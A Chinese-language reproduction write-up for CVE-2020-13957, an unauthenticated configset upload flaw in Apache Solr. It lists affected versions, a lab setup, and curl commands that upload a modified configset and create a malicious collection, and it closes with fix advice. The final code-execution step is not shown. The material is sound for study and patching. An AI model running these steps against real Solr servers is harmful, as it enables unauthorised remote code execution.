CVE-2020-13957 Apache Solr未授权上传漏洞复现
0x01 漏洞概述
Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。
Apache Solr 存在文件上传安全漏洞,该漏洞源于缺少必要的身份验证,攻击者可利用该漏洞远程代码执行。
0x02 影响版本
|
Apache Solr: 6.6.0 - 6.6.6 7.0.0 - 7.7.3 8.0.0 - 8.6.2 |
0x03 环境搭建
- windows10 x64
- jdk 1.8.0
①下载solr 7.0.1版本
http://archive.apache.org/dist/lucene/solr/7.0.1/

②在解压好的bin目录下执行
solr.cmd start -c

③浏览器访问查看
IP+端口8983即可访问

环境搭建完毕。
0x04 漏洞复现
①将solr目录\server\solr\configsets\_default\conf下的solrconfig.xml中的params.resource.loader.enabled修改为true。(为远程命令执行做准备)

②将conf目录文件打包成zip并上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.114.180:8983/solr/admin/configs?action=UPLOAD&name=file1"

③根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制
curl "http:/192.168.114.180:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

④根据CREATE得到的新configset创建恶意collection
curl "http:/192.168.114.180:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"

⑤利用已上传的collection进行远程命令执行


0x05 修复建议
①升级Solr至最新版本
②通过设置系统属性来禁用 ConfigSets API 中的 UPLOAD 命令:{{configset.upload.enabled}} 到 {{false}}
③使用身份验证/授权并确保不允许未知请求

浙公网安备 33010602011771号